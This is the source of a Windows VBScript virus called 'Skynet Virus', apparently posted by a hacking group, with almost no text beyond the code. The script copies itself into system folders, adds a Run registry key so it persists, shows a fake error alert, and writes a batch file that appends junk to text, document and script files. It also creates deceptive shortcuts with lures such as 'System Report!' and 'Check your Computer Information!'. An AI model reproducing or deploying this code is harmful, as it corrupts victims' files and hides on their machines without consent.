Skynet Virus BY --== 7 ART HACK ==--


---------------------- VB Code -------------------------->

' Skynet Virus - BY --== 7 ART HACK ==--


checkDate()
function checkDate()
if (day(Now)=25) then


Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists("C:\WINDOWS\sys.bat") Then
Wscript.Quit
Else
Wscript.Echo "The file does not exist."
End If
Set fso = CreateObject("Scripting.FileSystemObject")
Set File = fso.CreateTextFile("C:\WINDOWS\sys.bat", True)
File.WriteLine("@echo off")
File.WriteLine("for %%f in (*.txt *.doc *.vbs *.bat *.bas *.inf *.log) do set A=%%f")
File.WriteLine("if %A%==COMMAND.COM set A=")
File.WriteLine("echo >> %a% Binary ERROR %a% ")
File.WriteLine("set A=")


Set Shell = CreateObject("wscript.shell")
DesktopPath = Shell.SpecialFolders("Desktop")
Set link = Shell.CreateShortCut(DesktopPath & "\error.lnk")
link.Description = "System Report!"
link.IconLocation = "Explorer.exe,9"
link.TargetPath = "C:\WINDOWS\sys.bat"
link.WindowStyle = 3
link.WorkingDirectory = "C:\WINDOWS\sys.bat"
link.Save



else


Set objFSO = CreateObject("Scripting.FileSystemObject")
Set fso = CreateObject("Scripting.FileSystemObject")



fso.CopyFile Wscript.ScriptFullName, "c:\windows\Virus.vbs", True
fso.CopyFile Wscript.ScriptFullName, "c:\windows\system32\Virus.vbs", True



Msgbox "ERROR",16,"ALERT!"



Dim WshShell, bKey
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Virus", 1, "REG_BINARY"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Virus", "c:\windows\Virus.vbs", "REG_SZ"



Set Shell = CreateObject("wscript.shell")
DesktopPath = Shell.SpecialFolders("C:\WINDOWS")
Set link = Shell.CreateShortCut("C:\WINDOWS\Info.lnk")
link.Description = "Check your Computer Information!"
link.IconLocation = "Explorer.exe,10"
link.TargetPath = "C:\WINDOWS\sys.bat"
link.WindowStyle = 3
link.WorkingDirectory = "C:\WINDOWS\sys.bat"
link.Save



Wscript.Quit

end if
end function

<---------------------- VB Code --------------------------

BY --== 7 ART HACK ==--